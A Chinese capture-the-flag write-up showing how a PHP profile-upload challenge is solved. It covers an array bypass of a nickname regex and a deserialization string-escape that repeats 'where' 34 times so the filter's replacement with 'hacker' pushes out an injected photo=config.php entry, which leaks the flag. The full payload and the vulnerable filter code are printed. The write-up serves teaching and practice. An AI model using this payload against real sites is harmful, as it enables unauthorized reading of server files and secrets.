前言:
这题收获还是蛮大的,从中再次了解了数组对strlen函数和preg_match() 函数的影响。也清晰了什么时候可以用上传文件漏洞。也第一次遇到了反序列化的闭合操作。还了解到了Seay源代码审计软件带来的便利。
0X01 解题思路
- 打开题目链接,我们可以看到一个登入页面。sql注入无果。
- 使用御剑或者其它扫描工具可以扫到/register.php(注册页面),当然我是看别人wp知道的。
- 进入/register.php后注册一个账号,然后去登入。登入成功后,看到一个上传个人信息的页面,可以上传照片。(经过测试没有文件上传漏洞)
- 根据大佬的wp可以知道有www.zip文件(buu有限制所以我就没扫了),接下来就是代码审计了。
- 我们拿到的源码里的文件不是很多,class.php里有一些重要的函数,update.php和profile.php我们比较熟悉了,一个上传文件,一个获取文件。最重要的是config.php,我们看到flag在里面。也就是说我们读到config.php就可以得到flag。
- 这里我使用了Seay来进行代码审计,发现了突破口就是profile.php文件下的file_get_contents函数。
- 上面还有个反序列化unserialize,感觉有戏,如果$profile[‘photo’]是config.php就可以读取到了,可以对photo进行操作的地方在update.php,有phone、email、nickname和photo这几个。
1
2
3
4
5
6
7
8
9
10
11
12$profile = a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"ss@q.com";s:8:"nickname";s:8:"sea_sand";s:5:"photo";s:10:"config.php";}s:39:"upload/804f743824c0451b2f60d81b63b6a900";}
print_r(unserialize($profile));
结果如下:
Array
(
[phone] => 12345678901
[email] => ss@q.com
[nickname] => sea_sand
[photo] => config.php
)
//可以看到反序列化之后,最后面upload这一部分就没了(也可以理解为闭合了),下面就是想办法把config.php塞进去了。 - 从数组顺序上看是和上面数组的顺序一样的,可以抓个包看下post顺序,那么最有可能的就是从nickname下手了。那么分析一下nickname这个变量。在设置了$profile之后,用update_profile()函数进行处理,ra然后又调用了filter函数:有两个正则过滤,带上输入nickname时候有一个正则,总共三个过滤的地方,首先要绕过第一个输入时候的正则:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);
$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}
------------------------------
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}后面的正则要怎么利用呢,可以看到如果我们输入的有where,会替换成hacker,这样的话长度就变了,序列化后的每个变量都是有长度的,那么反序列化会怎么处理呢?我们应该怎么构造呢?1
2
3
4
5
6
7if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');
数组即可绕过:
nickname[]=
那么$profile就是这样了:
$profile = a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"ss@q.com";s:8:"nickname";a:1:{i:0;s:3:"xxx"};s:5:"photo";s:10:"config.php";}s:39:"upload/804f743824c0451b2f60d81b63b6a900";} - 数组绕过了第一个正则过滤之后,如果nickname最后面塞上”;}s:5:“photo”;s:10:“config.php”;},一共是34个字符,如果利用正则替换34个where,不就可以把这34个给挤出去,后面的upload因为序列化串被我们闭合了也就没用了(where会被替换成hacker可以帮我们挤出一位):在where被正则匹配换成hacker之后,正好满足长度,然后后面的”};s:5:“photo”;s:10:“config.php”;}也就不是nickname的一部分了,被反序列化的时候就会被当成photo,就可以读取到config.php的内容了。
1
2
3nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
$profile = a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"ss@q.com";s:8:"nickname";a:1:{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere"};s:5:"photo";s:10:"config.php";}s:39:"upload/804f743824c0451b2f60d81b63b6a900";} - 接着我们上传图片及信息,用brup抓包更改nickname为我们想要的值即可。
- 然后进入到profile中查看图片信息,把base64码解码即可得到我们的flag,大功告成!!!
参考链接:https://blog.csdn.net/zz_Caleb/article/details/96777110
0X02 补充知识
一、文件漏洞攻击成功的条件
一个“可疑”文件成功上传到后台后并不代表攻击就成功了。还必须满足一定的条件才能才能对后台造成攻击:
- 首先上传的文件能够被Web容器解释执行(比如php被Apache容器执行),所以文件上传后所在的目录要是Web容器所覆盖到的路径;
- 其次,用户能够从Web上访问这个文件,如果文件上传了,但用户无法通过Web访问,或者无法得到Web容器解释这个脚本,那么也不能称之为漏洞。
二、改变序列化字符串长度导致反序列化漏洞
- unserialize()会忽略能够正常序列化的字符串后面的字符串。比如:反序列化会正常解析
1
a:4:{s:5:"phone";s:11:"13587819970";s:5:"email";s:32:"aaaaaaaaaa@aaaaaaaaaa.aaaaaaaaaa";s:8:"nickname";s:10:"12345hacke";s:5:"photo";s:10:"config.php";}s:39:"upload/f47454d1d3644127f42070181a8b9afc";}
而忽略了后面的1
a:4:{s:5:"phone";s:11:"13587819970";s:5:"email";s:32:"aaaaaaaaaa@aaaaaaaaaa.aaaaaaaaaa";s:8:"nickname";s:10:"12345hacke";s:5:"photo";s:10:"config.php";}
s:39:"upload/f47454d1d3644127f42070181a8b9afc";}
从而导致读取config.php - 可以利用这个规则构造字符串来闭合,如本题中filter()将where替换成hacker,就可以将这个成员的最后一个字符挤出去,重复34次就可以挤出34个字符,正好闭合改序列化字符串